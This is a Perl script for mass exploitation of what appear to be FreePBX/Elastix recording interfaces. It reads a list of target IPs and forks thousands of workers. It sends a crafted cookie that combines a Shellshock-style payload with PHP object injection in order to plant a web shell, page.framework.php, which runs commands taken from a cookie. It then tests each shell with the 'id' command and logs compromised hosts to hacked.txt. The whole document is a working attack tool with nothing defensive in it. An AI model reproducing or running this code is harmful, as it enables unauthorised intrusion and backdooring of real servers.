#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use Parallel::ForkManager;
use LWP::Simple;

if (@ARGV<1){ print "[!] $0 <ip_file> \n"; exit; }
my $efile=$ARGV[0];
my $count=$ARGV[1];
$total = $count;

$forkmanager = new Parallel::ForkManager("10000");
open($emailsfile, "<" . $efile);
        while (<$emailsfile>) {
                $email = $_;
                $email =~ s/\x0a//g;
                $processid = $forkmanager->start() and next;
                subSend($email);
                $forkmanager->finish();
                }
                close($hostfileh);
$forkmanager->wait_all_children();

sub subSend {
my($ip) = @_;
my $url = "$ip/recordings/page.framework.php";
#if(head($url)){
#print "Hacked before $url\n";
#exit;
#}
#else{
system("curl -ks -m8 $ip/recordings/index.php --cookie \"ari_lang=%28%29+%7B+%3A%3B%7D%3Bphp+-r+%27set_time_limit%280%29%3Bunlink%28%22page.framework.php%22%29%3Bfile_put_contents%28%22page.framework.php%22%2C+%22%3C%3Fphp+if%28%5C%24_COOKIE%5B%5C%22lang%5C%22%5D%29+%7Bsystem%28%5C%24_COOKIE%5B%5C%22lang%5C%22%5D%29%3B%7Ddie%28%29%3B%3F%3E%22%29%3B%27;ari_auth=O%3A8%3A%22DB_mysql%22%3A6%3A%7Bs%3A19%3A%22_default_error_mode%22%3Bi%3A16%3Bs%3A22%3A%22_default_error_options%22%3Bs%3A9%3A%22do_reload%22%3Bs%3A12%3A%22_error_class%22%3Bs%3A4%3A%22TEST%22%3Bs%3A13%3A%22was_connected%22%3Bb%3A1%3Bs%3A7%3A%22options%22%3Bs%3A3%3A%22123%22%3Bs%3A3%3A%22dsn%22%3Ba%3A4%3A%7Bs%3A8%3A%22hostspec%22%3Bs%3A9%3A%22localhost%22%3Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22database%22%3Bs%3A7%3A%22trigger%22%3B%7D%7D;elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0\" --data \"username=admin&password=admin&submit=btnSubmit\" >/dev/null");
my $url = "$ip/recordings/page.framework.php";
if(head($url)){
my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 },);
$ua->timeout('8');
my $response = $ua->get($url,
'Cookie' => 'lang=id');
my $head = $response->as_string();
#print "$head\n\n";
if($head =~ /asterisk/i){
print "Hacked $url\n";
my $filename = 'hacked.txt';
open(OUTPUT,">>$filename");
print OUTPUT "$url\n";
close (OUTPUT);
}

}
#}
exit;
}